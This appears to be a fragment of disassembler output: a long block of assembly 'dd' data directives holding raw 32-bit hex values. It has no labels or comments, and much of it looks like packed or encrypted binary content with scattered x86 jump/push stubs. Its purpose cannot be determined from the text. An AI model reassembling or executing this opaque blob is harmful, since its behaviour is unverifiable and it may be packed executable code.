		dd 0E9AE86AEh, 4447956Fh, 9634968Eh, 1B150401h,	0B92225BDh
		dd 9088ECE3h, 0F5CD3797h, 5AFD9BFDh, 3FE9F6E8h,	89DFE24Ah
		dd 546027F5h, 95FF675Ch, 0E9C5F622h, 5FD0596Fh,	6FE9C537h
		dd 3CA29846h, 0CEBD3AA4h, 0DA178833h, 0EB69FBCBh, 281CF29Dh
		dd 7EEF685Eh, 75FBBB56h, 0E77F1765h, 872663Ch, 0C745AF05h
		dd 0F4564E24h, 54BEB28Ah, 42A29B51h, 0CE92893Fh, 59CA75D5h
		dd 75FBBB31h, 4F52EA38h, 9D0F74E6h, 511D243Eh, 0B5170FE7h
		dd 0BA5457B2h, 0FBC72149h, 828E9375h, 340907BDh, 2B918735h
		dd 0A23AD228h, 0EF7586F7h, 4694700Dh, 76317554h, 2CD1B479h
		dd 9Eh,	24C22E21h, 38D64034h, 50EE5048h, 66046A60h, 7B198176h
		dd 4C41B30Eh, 5F5646E4h, 746D5DFBh, 8C867614h, 3091902Eh
		dd 0FE5697BFh, 4193A675h, 0B4B7150Fh, 0A3A604FEh, 6CEECE87h
		dd 0E2EBABFAh, 3AA4E0F1h, 6C0A6862h, 1DB82077h,	4A3F15D8h
		dd 2D3F78E2h, 96000000h, 0BB2F9B24h, 0E9FC224Ah, 47DB296Fh
		dd 0B9B31060h, 6A02585Bh, 4774C400h, 5D6FE907h,	0C4670563h
		dd 9396F4EEh, 0B0CD33Dh, 0BA000000h, 0E9074874h, 6645E6Fh
		dd 865C1468h, 0D1272A90h, 24BBCB67h, 2,	1C0F80BCh, 0FDF7ADB0h
		dd 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h, 9E944A4Dh
		dd 877F3538h, 786C2225h, 684D0B0Eh, 3B4Dh, 68241C89h, 64DAh
		dd 51241C89h, 0C181E189h, 4, 4E981h, 0C870000h,	14895C24h
		dd 4EC8124h, 89000000h,	7768242Ch, 5D45A026h, 23E1C581h
		dd 0EB89C075h, 148B545Dh, 4C48324h, 24048153h, 6805266Fh
		dd 5108428Fh, 5266FB9h,	84A2968h, 24148B59h, 81E38953h
		dd 4C3h, 4C38100h, 87000000h, 8B5C241Ch, 8951241Ch, 4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 2F9FE95Ch, 131BFFFDh, 3D71501Eh
		dd 0C985FC60h, 727453CAh, 154FD5B8h, 8BC50306h,	51E9D1h
		dd 8B600000h, 3242474h,	7C8B3C76h, 0D68B2824h, 0F8C281h
		dd 8B660000h, 0B70F064Eh, 0F983C9h, 16840Fh, 7A3B0000h
		dd 158F0F0Ch, 83000000h, 428B28EAh, 144A8B0Ch, 0F82BC12Bh
		dd 1C247C89h, 8C261h, 4928C283h, 0FFCF850Fh, 0E9E9FFFFh
		dd 0BAFFFFFFh, 9FD3Eh, 143E9h, 0BE380600h, 95ECE735h, 715893DAh
		dd 0B6CFDF06h, 5D54FDBEh, 0ECA43636h, 5DD500BCh, 76D352C5h
		dd 0FC94A4D6h, 0AEC44100h, 77CB50C1h, 0ACAC3252h, 46BF009Ch
		dd 90ADFC6Ch, 0A3365973h, 72E275D6h, 90BD9Ch, 8CE693DDh
		dd 0A592A79Bh, 0A7ABDD64h, 918F9792h, 0F95CFC7Ah, 0B1E496B9h
		dd 47E4B59Bh, 0E592B69Fh, 0BDF694B6h, 0B3EBB59Eh, 93D0EC96h
		dd 97BF999Ch, 0F55CFD7Bh, 0AFF49389h, 0B2CD00EDh, 0E594A6E3h
		dd 0C3B5D4h, 622D4457h,	0AE29B0F3h, 38h, 3Ch, 40h, 2 dup(0)
		dd 4, 94h, 5, 1, 0A28h,	2, 22h dup(0)
		dd 1EEAE9h, 542B6800h, 0D6E90615h, 68FFFD2Dh, 6155526h
		dd 0FD2DCCE9h, 55E768FFh, 0C2E90615h, 68FFFD2Dh, 61556CCh
		dd 0FD2DB8E9h, 578E68FFh, 0AEE90615h, 68FFFD2Dh, 6155870h
		dd 0FD2DA4E9h, 593A68FFh, 9AE90615h, 68FFFD2Dh,	61559F8h
		dd 0FD2D90E9h, 5D8868FFh, 86E90615h, 68FFFD2Dh,	6155E06h
		dd 0FD2D7CE9h, 5F3B68FFh, 72E90615h, 68FFFD2Dh,	6156245h
		dd 0FD2D68E9h, 654B68FFh, 5EE90615h, 68FFFD2Dh,	615687Eh
		dd 0FD2D54E9h, 69F868FFh, 4AE90615h, 68FFFD2Dh,	6156A5Bh
		dd 0FD2D40E9h, 6AB768FFh, 36E90615h, 68FFFD2Dh,	6156B1Bh
		dd 0FD2D2CE9h, 6CBD68FFh, 22E90615h, 68FFFD2Dh,	6156DE8h
		dd 0FD2D18E9h, 6F8468FFh, 0EE90615h, 0FFFD2Dh, 1303A10Dh
		dd 2717B51Fh, 3F2FCD2Fh, 5545E349h, 0ED5AF860h,	0C32B2092h
		dd 0DA3E3525h, 0F3534C3Ch, 0D6B6555h, 9E0F706Fh, 75FE5976h
		dd 0F207285h, 0FEB4B715h, 72FBA604h, 0E907D901h, 9A92E06Fh
		dd 57D53FA3h, 3AED42B4h, 317ED89Ch, 0A73BD33Dh,	0F7043757h
		dd 0BB38A21Eh, 158631B0h, 69FBE158h, 0AF181B69h, 0C4898B3Dh
		dd 44AE68FBh, 0FBBCA5D1h, 0A81ADD75h, 0DE16C767h, 0DF5D8F11h
		dd 0A7F77206h, 0B79738A2h, 2FF98CE3h, 3BD3DEh, 6A790000h
		dd 248A8063h, 6F70E18Ch, 9E69FB11h, 0EE44D50h, 57ADB01Ah
		dd 1E4E7AEDh, 0C38675FBh, 9FD1E851h, 0B829850Bh, 75FB6690h
		dd 4FB9519Fh, 0A3FACEAEh, 0EADE2FD9h, 0B8h, 0B7150F90h
		dd 0A109FEB4h, 90C3359Eh, 0F3D8C7DBh, 359F938Bh, 9BF9F3CBh
		dd 2AE8E298h, 9634CC36h, 0E931A00Bh, 5CBAB46Fh,	76D4CEBEh
		dd 8E151873h, 30C972E3h, 82D069FBh, 47B841E4h, 75FB311Fh
		dd 0F976E02Eh, 53C46FF2h, 700FD324h, 5A30DB29h,	7C52FD65h
		dd 38B62086h, 739B0C95h, 7A6FEF8Bh, 0F5EAC22Ch,	0FDDD9B8Dh
		dd 472A796Fh, 1C2BA2h, 0DB473A00h, 0EF594D3Dh, 7696151h
		dd 1D837969h, 329A8F7Fh, 5AC82794h, 6F5FFD65h, 86761478h
		dd 9F8F2D8Dh, 0AAA947A5h, 5BB0D849h, 0ACBF75FEh, 0B21A0F5Ah
		dd 0A19B7114h, 701D943h, 118CFEA9h, 0D041485Bh,	0B80C8AF4h
		dd 4F3CEA5Ch, 749CA76Dh, 147E1680h, 620D9497h, 0FB51F0F1h
		dd 0C8CB1969h, 0FB5E4B77h, 0EAC08375h, 84258FF3h, 0D179D0A4h
		dd 0DCC0DE2Fh, 17000000h, 0E1E44C41h, 0FE5218Bh, 0FEB4B715h
		dd 0F51D8E09h, 0B6FE907h, 63B1B014h, 0C77C8CBh,	206FE903h
		dd 0C726826h, 0ECE6D674h, 4C228B8Eh, 0B88F254h,	65D68100h
		dd 69FB0ABCh, 0C22A1FCDh, 0B3A97F2Ah, 0D065E34Dh, 8BEFE6DDh
		dd 7C7248F3h, 0B021AC16h, 700FB092h, 0AE842F7Dh, 10B351B9h
		dd 658DFE87h, 746FEFB5h, 0B56B9326h, 11726FEFh,	0EFB578A0h
		dd 0A139876Fh, 26A5F37h, 6FD46610h, 0DB29579h, 1B30h, 38D64235h
		dd 4CEA5448h, 6402645Ch, 7A187E74h, 8F2D958Ah, 6055C722h
		dd 736A5AF8h, 8881710Fh, 0A09A8A28h, 44A5A442h,	0FE5CABD3h
		dd 4D9FB275h, 14B21A0Fh, 4F77E871h, 0B26FE907h,	0E9071941h
		dd 0D3D2206Fh, 49431B85h, 0F0458EFh, 4B438110h,	96ECEF55h
		dd 0F0C60FEh, 0FEB4B715h, 0B608A604h, 6C575673h, 0B80E1175h
		dd 7AEC7520h, 0B842C70Bh, 0CD4AF165h, 0C4B969FDh, 741184EEh
		dd 0A569FB47h, 37ABD344h, 64B275FBh, 564B21CCh,	2B95EBEEh
		dd 98DEFE51h, 9C8FD979h, 0CE95A05h, 7D249764h, 0DAD12C2Fh
		dd 0AA2B9C47h, 6326899Ah, 9A946A15h, 0B4AE9E3Ch, 1C086456h
		dd 0FCDFBEDAh, 1A6F57h,	9703F600h, 0AB1509F9h, 0C3251D0Dh
		dd 0D93F3525h, 0EE564B3Bh, 1684E350h, 2B1BB921h, 4232D034h
		dd 5B4BE949h, 66650361h, 5C6C9405h, 607375FEh, 0B7150F0Eh
		dd 83F09A0Ch, 0C09393A9h, 340A7356h, 85D7DA3Ch,	0F4CCBFE3h
		dd 0A30DA5D1h, 0F19C2726h, 0FB372F80h, 85307E69h, 37638BFCh
		dd 1C6A75FBh, 4BE234B2h, 0D17C0706h, 0D5EC360h,	32085270h
		dd 0D7A667CFh, 58E39D1h, 8D43DE93h, 982BDC78h, 6FE90870h
		dd 0EDC7317Fh, 5859F39Ah, 0D2515CA8h, 0F45C5127h, 476FF8Ah
		dd 0C9080B51h, 9F127C2Dh, 31ACCDC2h, 278285D3h,	0F1198A24h
		dd 0F8318CD2h, 4DA016AAh, 0BE9189D9h, 890A7B26h, 0C02B9E82h
		dd 0B53EC772h, 9A861C44h, 6BD52337h, 9D3B9993h,	0C82E24FAh
		dd 2D056FC5h, 0F7E3D533h, 54B1C502h, 198ACC71h,	0E8DB0000h
		dd 0FAEEDE7Ch, 0A02F290h, 241A0AA8h, 3B3020BEh,	69C835D3h
		dd 9E06FBh, 17B51910h, 30CE2E27h, 4AE84640h, 5179EA4Bh
		dd 5875FE5Dh, 150FF345h, 5259B4B7h, 299B24CFh, 9EB0ABCh
		dd 0C538A2DCh, 69FB0458h, 5AFD9BE9h, 9A70E3E8h,	0B41E2C6Bh
		dd 9C8FC27Ah, 4CE95A05h, 11700E28h, 79E3413Bh, 0FF524C9Ah
		dd 0F3429085h, 0BD68FBF2h, 0ED6A5E34h, 9170547Ch, 750D5B0Ch
		dd 2B241C72h, 872C8CBh,	0A36EB895h, 787BC906h, 0F802E1Dh
		dd 0AA371E7h, 37ACF6h, 31BD0466h, 0E5560199h, 4B59E64h
		dd 23AC57A5h, 91628AB2h, 0D943910Ch, 207E784Eh,	3A989282h
		dd 0CE278848h, 27CCAFDCh, 18C8h, 0A03EAA9Dh, 0B452BCB0h
		dd 0CC6ACCC4h, 0E280E6DCh, 0F795FDF2h, 0C8BD2F8Ah, 0DBD2C260h
		dd 0F0E9D977h, 802F290h, 0AC0D0CAAh, 0FE5E133Bh, 0B5071A75h
		dd 0CB7150Fh, 0A761EE9Ah, 4EB8118Fh, 352C026Bh,	0CD78CED1h
		dd 0E9D3345Ch, 83ED3B6Fh, 0D17C0706h, 0FBE2B360h, 0D674C269h
		dd 198BB484h, 0C83E9F0Dh, 96137D15h, 9B491097h,	39D40800h
		dd 0FC6DF6A1h, 75FB07D4h, 98238DDBh, 0D2E8A27h,	332D7B70h
		dd 0ABDACEE0h, 0DFD7AD92h, 3BA6E97Dh, 0A39DF0D5h, 32B1BC39h
		dd 7E391687h, 0FA48673Dh, 0B7E3DD4Fh, 0A54FF49Ch, 0EFD583Bh
		dd 9AC7EF60h, 88D66B39h, 53D445F0h, 0FA654BD1h,	0A27801ACh
		dd 4DC46ACh, 1E0EAC0Ah,	0E3DDB324h, 0AFCAF285h,	23D16D2Bh
		dd 71C7CA2Ah, 7F4F41D9h, 0AC7C33DAh, 17E624C9h,	8C7F0000h
		dd 9E928220h, 0AEA69634h, 0C8BEAE4Ch, 0DFD4C462h, 0D6CD977h
		dd 0A442AA9Fh, 0BB59BDB4h, 0D472D2CBh, 0EE8CEAE4h, 0F51D8EEFh
		dd 475FE5Fh, 150F9FF1h,	754BB4B7h, 0B0191C7Ch, 0E907173Fh
		dd 40D8266Fh, 0BC5259D6h, 0E907234Bh, 58C92A6Fh, 6FE90730h
		dd 0C159F13Fh, 0BFB78D16h, 0C045A5Dh, 0D548B214h, 69FB12C4h
		dd 5AC2B765h, 5BD224C2h, 0C16CF7F6h, 0D42B350h,	1A146270h
		dd 222DDAC7h, 30DECDFCh, 9A54E3BEh, 0EB7E8ECBh,	3B159C3h
		dd 8A847CCAh, 78E9942Ch, 0FDC3579Bh, 3E999CEAh,	9709B44Fh
		dd 7B8933D2h, 33BE2819h, 0D60A41C2h, 0CF7AC8FFh, 3A1FFF9h
		dd 655B1913h, 0EA6FCFFh, 0AD8BA81Ch, 0E78C6FE5h, 171Ch
		dd 4CEA5649h, 60FE685Ch, 78167870h, 8E2C9288h, 0A341A99Eh
		dd 7469DB36h, 877E6E0Ch, 9C958523h, 0B4AE9E3Ch,	58B9B856h
		dd 0FE60BFE7h, 69BBCE75h, 0B4B7150Fh, 4BBC5259h, 6FE90723h
		dd 0D6D93731h, 0AF208180h, 6FE90787h, 18B04896h, 585EFC6Dh
		dd 2F0569FCh, 1977713Bh, 2528C016h, 388665CFh, 5FBDB78Dh
		dd 54481EC1h, 2791E7EAh, 0FE57FCB4h, 0F78A8575h, 9844B659h
		dd 41CEC554h, 3D370F79h, 0A1AC41DFh, 68067722h,	0A77011DCh
		dd 7DAD446h, 172F6C8Fh,	0E9F95C84h, 7D15636Fh, 0A105FCD2h
		dd 53DE489Eh, 811F897Dh, 30339D91h, 0CBC2807Ah,	0D5DDCF67h
		dd 2679758Fh, 165E9E43h, 14070000h, 261A0AA8h, 362E1EBCh
		dd 504636D4h, 675C4CEAh, 95F461FFh, 2CCA3227h, 43E1453Ch
		dd 5CFA5A53h
		dd 7614726Ch, 7DA51677h, 8C75FE60h, 636A2779h, 26C435E0h
		dd 0E969FC58h, 201AF09Bh, 0F2A517C2h, 8705A9B2h, 0A74AC832h
		dd 68553735h, 62B31C86h, 0DD241950h, 0D04DB74Fh, 0C19742D1h
		dd 6EF963CDh, 0FE08C1FDh, 594E2475h, 5EA887F1h,	303B3D02h
		dd 0C8CB635Ah, 318F895Fh, 0C62754C7h, 865F75FEh, 3D7BD2A6h
		dd 4CC2DE33h, 68000000h, 31DC6F6Ah, 9E14E9BFh, 7FE98CBCh
		dd 574F83F4h, 105E6FE9h, 5790BC0Dh, 0EFC86FE9h,	0CEE43B0Fh
		dd 3D9D81Dh, 740AA0Ah, 1Fh, 90865CADh, 204DC02Ah, 936FE907h
		dd 0ED5E0998h, 69FB2100h, 4218C311h, 8EE4E74Bh,	6A52A624h
		dd 0C435E063h, 69FB0977h, 0BF7578C6h, 26C967C5h, 0F4F75750h
		dd 625C349Eh, 2E4C7F08h, 69DA73B8h, 75FBB641h, 0B762FA48h
		dd 0FBB61E46h, 47DF2D75h, 31998E44h, 5A30D12Eh,	0F5960062h
		dd 8E4C4615h, 9E3694h, 0B5B81610h, 25D0535Ah, 69D1C69Ch
		dd 33A61066h, 700DCA1Eh, 1303A1EFh, 4FB8BB19h, 33B804DDh
		dd 655D5A2Ah, 0B2080B6Dh, 618AD548h, 44FB17E0h,	0F970E264h
		dd 6FD4B058h, 211BF35Dh, 3B3525C3h, 2E24DADDh, 0AF6EC5C8h
		dd 0A80600CFh, 9C91670Ah, 0F8F2CA34h, 313C979Ah, 0ED9607B2h
		dd 50E231CFh, 0C7C0827Ah, 8665CF67h, 7D80DED8h,	6A6DCFC7h
		dd 46E47C14h, 0FBFE5C56h, 3FEA4E45h, 0D107069h,	0D6A4DB7h
		dd 0ADA77656h, 0D6CEA44Fh, 1F877C74h, 0DE5CC61Ch, 9396F4EEh
		dd 3AE3538h, 0D1D4342Dh, 1586117Bh, 0E81FC2D4h,	1909A7F5h
		dd 6DBEC11Fh, 0F81FBE41h, 8E10F0A9h, 0BE6C9405h, 2573D81Fh
		dd 8BE9E3BBh, 0A404FDEDh, 8EF6EBA1h, 0AF190DE3h, 8D466245h
		dd 61552BADh, 0BCB58DF7h, 0B728B15Ch, 0D81FBE8Fh, 68E6509Eh
		dd 741F7F78h, 0C132A59Eh, 0D81FBE99h, 0B7BA52A0h, 0BEB5DD4Eh
		dd 76C4D81Fh, 89F1E6DEh, 0E3C63086h, 46B0A47Ah,	0A80E04DCh
		dd 93F9EFA5h, 7DE5DA90h, 0C5A55E7Ah, 2000B756h,	9F985851h
		dd 4EE63C3Fh, 7C7C0B0h,	53A9AC10h, 6E5DB8BBh, 6AB728D3h
		dd 0BBD231C0h, 52A71971h, 89C74E9h, 22BBA88Eh, 12BD554Eh
		dd 0DEE1453Ch, 0D9D7A48Ch, 28C09993h, 6BD53930h, 16883188h
		dd 28A09DE9h, 4EEF5926h, 46A69F6Eh, 60BEB8A8h, 4FADA75Dh
		dd 9777304Ch, 0D270CEC8h, 427686DDh, 20CD46h, 0F730000h
		dd 58B3B616h, 9A23CE55h, 0FB0A4E28h, 6FD9F1AEh,	0FB3BFFFCh
		dd 22C00E69h, 2143h, 160FF100h,	70A32A3h, 0C3116FE9h, 0DECD282Bh
		dd 0D4BFA747h, 0F78F86E6h, 5BDADB4Ch, 257369FBh, 0D35C3387h
		dd 0E9073A62h, 81D7AC6Fh, 9FF5C86h, 1852BC0Ah, 36CDC015h
		dd 697D1A8Bh, 3E8C69FBh, 71990A93h, 0E375FB19h,	491A5B65h
		dd 0AFFDFCD5h, 77006B45h, 0FB16DE06h, 359FED75h, 6C219AC2h
		dd 291FF5A1h, 99E9E2C7h, 0B048D71Bh, 3FC2C946h,	50082294h
		dd 0DE0BA941h, 9B78E974h, 0EA5C9CD6h, 8A03D3A0h, 821A216Fh
		dd 0DA4167Fh, 80DED83Ch, 6C93277Dh, 30AD1739h, 8AFBA63Dh
		dd 5EAF2A09h, 0BE47F240h, 8231CB4Ch, 0A50F4D62h, 0D775D3CDh
		dd 5393EDE7h, 5880F11Ah, 67628AE6h, 5E4E8519h, 396F61F9h
		dd 0AE86D4F7h, 12CE26CBh, 0A4970000h, 0B6AA9A38h, 0C6BEAE4Ch
		dd 0E0D6C664h, 0F7ECDC7Ah, 2584F18Fh, 0BC5AC2B7h, 0D371D5CCh
		dd 0EC8AEAE3h, 6A402FCh, 0D35A607h, 1C75FE64h, 4C74B709h
		dd 0B56FE908h, 71D3CBB6h, 0FC6D186Eh, 6FE908D4h, 4AF58DDBh
		dd 0FB0BACD9h, 0C46FBD69h, 0F795F5EEh, 25857E54h, 0CFD2362Dh
		dd 3E370F79h, 39AA33DEh, 75FB1511h, 7D60CA18h, 0E2483E14h
		dd 48A6A078h, 6473D056h, 3A88B73h, 1250h, 18B62215h, 2CCA3428h
		dd 44E2443Ch, 5AF85E54h, 6F0D756Ah, 4035A702h, 534A3AD8h
		dd 686151EFh, 807A6A08h, 24858422h, 0FE658BB3h,	2D7F9275h
		dd 3A62D35Ch, 416FE907h, 10C89F3h, 784ED782h, 671D207Eh
		dd 8720A72h, 0FB0A6895h, 802B7969h, 4B4EB4AAh, 77008BF5h
		dd 4548A8A1h, 0ABD344EFh, 0B275FB16h, 2E22FA64h, 423626C4h
		dd 0F24EBBDCh, 0C45C2329h, 0B3110BC1h, 0D53D3208h, 2F127CD2h
		dd 6A3919D8h, 1C6E0C76h, 2BBAB326h, 1B857931h, 0CC9AC718h
		dd 18B775FBh, 0B756938h, 0C4B5EE60h, 0B90590E4h, 0EDE1D14Fh
		dd 0C2C52F23h, 0C884D86Ch, 0F3364C1h, 350B7477h, 80D6D93Fh
		dd 272A9488h, 0E3EA67D1h, 562CB560h, 3DA19862h,	0E24CE43Ah
		dd 0F40F16Fh, 23CE1C70h, 4AF5534Dh, 83177F74h, 0CEF70F40h
		dd 910F79B0h, 0C536A7A1h, 6FF06C9Dh, 80A5317h, 54530222h
		dd 106B6E06h, 52DB861Dh, 0E33058C9h, 0F13F6FF0h, 33111487h
		dd 0EE3C6A04h, 0B5736D43h, 1575ABEh, 0E1DBCB69h, 26258083h
		dd 0BE7FF09Bh, 0CF700DA2h, 0E58D8F81h, 0D7BA7975h, 111B32h
		dd 0EB574A00h, 0FF695D4Dh, 17797161h, 2D938979h, 42AA9F8Fh
		dd 6AD837A4h, 7F6F0D75h, 96862488h, 0AF9F3D9Dh,	0BAB957B5h
		dd 66C0E859h, 0BCCF75FEh, 743746Ah, 58516FE9h, 0C6C55AF8h
		dd 0C3BA903Bh, 0F96AF55Fh, 69FC56EEh, 456DDE3Fh, 5475FE57h
		dd 0EDC36E06h, 0A1F593F5h, 9D86B30Ah, 17CFAD8h,	6AA00000h
		dd 5C81DD6Ch, 0E907BEEBh, 0F09B296Fh, 0BDC0221Ah, 5CC1FD67h
		dd 0A206FDD3h, 0A3DF499Fh, 6A2D6046h, 2D82DE6Dh, 0E2616AD1h
		dd 8F865C86h, 0E70F802Bh, 0F66FE907h, 48643EA8h, 2F8F865Ch
		dd 5FDBF4ACh, 78700862h, 0D5B21C82h, 0D51E2A8Eh, 4FB5h
		dd 6D6A5B00h, 865C82DEh, 0D42A2D8Dh, 8056DF6Ah,	0CF252886h
		dd 7C5F265h, 86D46FE9h,	90865C2Ah, 67D1272Ah, 170FA2DCh
		dd 865C59B5h, 0D2282B8Fh, 0C24BD668h, 0E9072951h, 78E2306Fh
		dd 8E865C3Ch, 0DA72D4CCh, 918981D7h, 3BFEC52Fh,	0AC000000h
		dd 82DE6D6Ah, 0B26DEA5Ch, 5D60BEB8h, 0FF47307h,	5B83F49Fh
		dd 626FE9DAh, 961FAA14h, 0FC66C8C0h, 0E9DA5C89h, 0E4D9C76Fh
		dd 8B23797Ch, 5C225C2Fh, 0C02A9086h, 328EF0E8h,	0C30A1955h
		dd 98D51D86h, 7769E0Fh,	37856CE9h, 2B94CDh, 6A3A0000h
		dd 5C86E261h, 0E907BEEBh, 2581CF6Fh, 3A62D35Ch,	416FE907h
		dd 0C4FE89F3h, 55B11B0Fh, 0FBF4CA55h, 20F5319Bh, 43h, 0E2616ACEh
		dd 66A6137h, 0EB5C609Ch, 6FE907BEh, 67F09B29h, 0E907CEF6h
		dd 9293DD6Fh, 6CAAC91Ah, 9FDB45DDh, 3A62D35Ch, 416FE907h
		dd 9F379D93h, 5C70AA35h, 0BF299186h, 2F29F3E7h,	0E078CED1h
		dd 5C195584h, 3BF50AEAh, 3FB0BB90h, 6FE96817h, 9540D826h
		dd 0E968FC24h, 4BB5036Fh, 0FFFE7B84h, 636A32FFh, 26C435E0h
		dd 0E969FC58h, 201AF09Bh, 908F24C2h, 0BDE55601h, 0CC75FE58h
		dd 58D2FA6Bh, 8BD975FEh, 0B187F0F3h, 9D5356BAh,	3FA941A7h
		dd 0FE58A6CCh, 19F9D275h, 32CFEE45h, 6635DEh, 74DB0000h
		dd 6FE90748h, 0ADA6645Eh, 49F44A4Dh, 0E907B0D8h, 0D971BF6Fh
		dd 0D9CFA52Eh, 7B8E073h, 66C76FE9h, 0E907CDF5h,	0F68EDC6Fh
		dd 56830E8Ch, 0C96FE907h, 23943FC2h, 69FB1262h,	0E9721D6Bh
		dd 0FB1E5078h, 1A42B375h, 2175FB1Eh, 8E86D4D3h,	0D92F3298h
		dd 0DC4EF16Fh, 6D41720Ch, 5DC5BAA7h, 0B8945BC5h, 42000000h
		dd 35E0636Ah, 0FB36AFC4h, 85307E69h, 6A3026FCh,	0D770F73h
		dd 827C3C35h, 3778A011h, 398775FBh, 0B0489EA1h,	0C9292212h
		dd 0E1606BC6h, 0DDD7AD36h, 29C12B1Fh, 87C64CBFh, 0FF49700Eh
		dd 0D2C7197Ch, 7D11676Ah, 49E1C0B6h, 6FCFC89Eh,	88E8E1D1h
		dd 40232A85h, 0A24DE549h, 0E84C4319h
		dd 0B2258FE5h, 6A0365B9h, 668EFF60h, 7575FB5Ah,	0EE48F27h
		dd 7518B614h, 0DB45A79Fh, 0B9AB0903h, 73642E51h, 1152F7DAh
		dd 5400000Eh, 6757F561h, 7B6B0973h, 93832183h, 0A999379Dh
		dd 41AE4CB4h, 177F74E6h, 2E928979h, 47A7A090h, 61BFB9A9h
		dd 0F263C4C3h, 75FE69CAh, 0F6CBED1h, 830CB715h,	0E907EA12h
		dd 9FFFF86Fh, 0F947469Ch, 0FCF6AC8Fh, 0C67F9B9Eh, 0BF1D17E6h
		dd 84F57E21h, 6FE9075Ch, 5BBDB563h, 6A0258h, 1D7ECC23h
		dd 4813D8h, 6AB90000h, 0C435E063h, 69FB05E7h, 58BEB48Ah
		dd 0E0E40355h, 61E5593h, 0D725046Eh, 0C6241ED4h, 0E03E3828h
		dd 0D20274DDh, 0EAC68317h, 838A0771h, 0CFE45500h, 5E700D72h
		dd 0F9CF7210h, 489EA1FFh, 13042C9Dh, 0BD0B6FE9h, 1B0F1753h
		dd 2F2313B1h, 3E71C2C5h, 566FE907h, 0E052FD5Dh,	44FBF74Eh
		dd 785EFC3h, 3DE87B72h,	0FC5BB0CCh, 18155F69h, 0A9034F3Bh
		dd 1BF19C34h, 0CF23C123h, 9D86B30Ah, 12BFAD8h, 6AA00000h
		dd 5C81DD6Ch, 0B1D94AD3h, 0B86FE907h, 608D006Ah, 0CB6FE907h
		dd 0D35CE13Dh, 7B1D94Ah, 6AB86FE9h, 6046C400h, 0DE6D6A2Dh
		dd 1139AA33h, 186FE907h, 75DDD2CAh, 76B21C72h, 616AD12Dh
		dd 0F10D86E2h, 1D86C30Ah, 2DEAD5h, 6A900000h, 23877E6Dh
		dd 0EB5C2F8Bh, 6FE907BEh, 5C2581CFh, 0B5170F22h, 5C195559h
		dd 282B8F86h, 0C3E43ED2h, 882BC395h, 39571Eh, 6A050000h
		dd 5C82DE6Dh, 0E907BEEBh, 1788296Fh, 6FE907EFh,	0BC18B0FEh
		dd 0D35C225Ch, 0E9073A62h, 9C93416Fh, 47DF3538h, 0AB0D05DDh
		dd 38EA5C4Fh, 3D4E71C3h, 0A90701F9h, 0A71AD3Fh,	0D51D86C3h
		dd 3CEAh, 616A9000h, 0EB5C86E2h, 6FE907BEh, 5C2581CFh
		dd 417308EAh, 0B549031Eh, 4758A327h, 0FD88F23Bh, 0B11B0FC3h
		dd 0E1739406h, 7701DE2Ah, 4ADEA8A5h, 8FF9914Ch,	20195553h
		dd 2Fh,	0CF616ACEh, 0E907365Eh,	5FF7456Fh, 81E9DEB4h, 0EB5CDB17h
		dd 6FE907BEh, 31A29F29h, 0CA7C9DD9h, 0BBB18732h, 5CAFEB55h
		dd 0B11B0F22h, 20195555h, 0FFFFFECCh, 0E0636ACEh, 0DDD6AC35h
		dd 2A0137Dh, 0D69FC58h,	0A026A5Fh, 59AFB210h, 464016C1h
		dd 1EA74AE8h, 5DF04E48h, 75FE5835h, 0F8CF644h, 65D68110h
		dd 75FE583Dh, 4B202EA0h, 1F9A7459h, 8588D6B5h, 0FE4E0E34h
		dd 81613A75h, 32C656ADh, 159DDEh, 74430000h, 6FE90748h
		dd 7CDCD5ABh, 0E2403A12h, 0BB6544h, 6A130000h, 0C435E063h
		dd 69FB0ADBh, 93691462h, 0E1373A9Ah, 1D16EC77h,	131139AAh
		dd 6A1875FBh, 0B3090C76h, 0F5E5831Bh, 7FF19CFCh, 3F426015h
		dd 1D006A86h, 8D38CBC2h, 0D5352E04h, 0C0261CD2h, 0B94BBE28h
		dd 54700EBAh, 0FCD25B06h, 0E40C9F07h, 0EB6FF039h, 0D2A8339Dh
		dd 0EBDB79D9h, 268F92F2h, 0EFF25C50h, 0BBB22F99h, 130C7D28h
		dd 3A6A037Ch, 716B41ECh, 0C3211B13h, 0FEF8CE59h, 181202A0h
		dd 438C8BAh, 0FCDF7364h, 0B0B57h, 0FB675A00h, 0F796D5Dh
		dd 27898171h, 3DA39989h, 52BAAF9Fh, 7AE847B4h, 8F7F1D85h
		dd 0A6963498h, 0BFAF4DADh, 0CAC967C5h, 6CD0F869h, 0CCDF75FEh
		dd 0A4150F7Ah, 0E9070B33h, 2CC4126Fh, 1B797329h, 6343FC18h
		dd 9E3C9A94h, 1D7F52A9h, 3F99D8h, 7EF00000h, 0FFF97640h
		dd 0CE0A74CFh, 35E0636Ah, 0FB1C5FC4h, 8790269h,	75FB24E0h
		dd 5837A1EFh, 4B4EB4AAh, 0A45A5DF5h, 0BEAE4CAAh, 86366C4h
		dd 62D37E05h, 700D2779h, 3107B200h, 0EB69D33Dh,	0B11B0F97h
		dd 7578813h, 847D6FE9h,	0ABA37924h, 86F04649h, 978F6508h
		dd 789B122h, 42906FE9h,	668EFFAAh, 756FE907h, 4D40BD27h
		dd 779A0BB6h, 9669FC56h, 0CFC79D48h, 0A7BCF6Dh,	0D89D86B3h
		dd 12EFAh, 6C6AA000h, 865C81DDh, 0D2282B8Fh, 3F6CDD68h
		dd 0A86FE907h, 225CBE1Ah, 6A2D6046h, 2D82DE6Dh,	0E2616AD1h
		dd 0AF10D86h, 0D51D86C3h, 40EAh, 6D6A9000h, 865C82DEh
		dd 33BE2892h, 88B021AAh, 9E6FE907h, 0EA4043A7h,	0F1198AEBh
		dd 0F86FE907h, 35A812AAh, 6FE90708h, 1F47B819h,	2E6FE907h
		dd 5CEC48E0h, 0B5170F22h, 20195559h, 2Bh, 0DE6D6ACEh, 0BEEB5C82h
		dd 296FE907h, 211AF09Bh, 5C1B57C1h, 55170F22h, 4B73E461h
		dd 526FE907h, 0B3696C04h, 28C058BCh, 0A1955CCh,	0D51D86C3h
		dd 29EAh, 616A9000h, 0EB5C86E2h, 6FE907BEh, 5C2581CFh
		dd 0A107FDD3h, 1B0FFB37h, 0F4F75951h, 4BAFA69Eh, 195557B3h
		dd 5020h, 616ACE00h, 865C86E2h,	7CCA2E90h, 2675963h, 0A711676Ah
		dd 0C17EAB1Ch, 5BE96FE9h, 96C73EB0h, 7D84A876h,	0CC222583h
		dd 0F172A034h, 5A5727h,	225C5A96h, 6B11B0Fh, 2F1A7A94h
